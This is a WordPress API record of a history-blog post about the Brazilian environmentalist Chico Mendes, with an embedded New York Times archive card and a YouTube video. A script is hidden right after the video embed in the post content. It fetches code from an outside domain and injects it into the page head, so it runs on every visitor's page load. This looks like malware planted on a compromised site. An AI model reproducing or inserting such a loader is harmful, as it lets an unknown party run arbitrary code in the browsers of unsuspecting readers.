{"id":449,"date":"2019-08-27T22:04:56","date_gmt":"2019-08-28T05:04:56","guid":{"rendered":"https:\/\/historynet.net\/?p=449"},"modified":"2019-08-27T22:04:56","modified_gmt":"2019-08-28T05:04:56","slug":"new-york-times-why-they-killed-chico-mendes","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2019\/08\/27\/new-york-times-why-they-killed-chico-mendes\/","title":{"rendered":"New York Times: Why They Killed Chico Mendes"},"content":{"rendered":"<p>Francisco Alves Mendes Filho, better known as Chico Mendes (December 15, 1944 \u2013 December 22, 1988), was a Brazilian rubber tapper, trade union leader and environmentalist. He fought to preserve the Amazon rainforest, and advocated for the human rights of Brazilian peasants and indigenous peoples. He was assassinated by a rancher on December 22, 1988.<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-image=\"https:\/\/s1.nyt.com\/timesmachine\/pages\/1\/1990\/08\/19\/781590_360W.png?quality=75&amp;auto=webp&amp;disable=upscale\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.nytimes.com\/1990\/08\/19\/books\/why-they-killed-chico-mendes.html\">Why They Killed Chico Mendes<\/a><\/h4>\n<p>This is a digitized version of an article from The Times&#8217;s print archive, before the start of online publication in 1996. To preserve these articles as they originally appeared, The Times does not alter, edit or update them. Occasionally the digitization process introduces transcription errors or other problems. Please send reports of such problems to archive_feedback@nytimes.com.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><\/p>\n<hr \/>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/gOO5vAB26sE\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Francisco Alves Mendes Filho, better known as Chico Mendes (December 15, 1944 \u2013 December 22, 1988), was a Brazilian rubber tapper, trade union leader and environmentalist. He fought to preserve the Amazon rainforest, and advocated for the human rights of Brazilian peasants and indigenous peoples. He was assassinated by a rancher on December 22, 1988. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":452,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-449","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/449","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=449"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/449\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=449"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=449"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=449"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}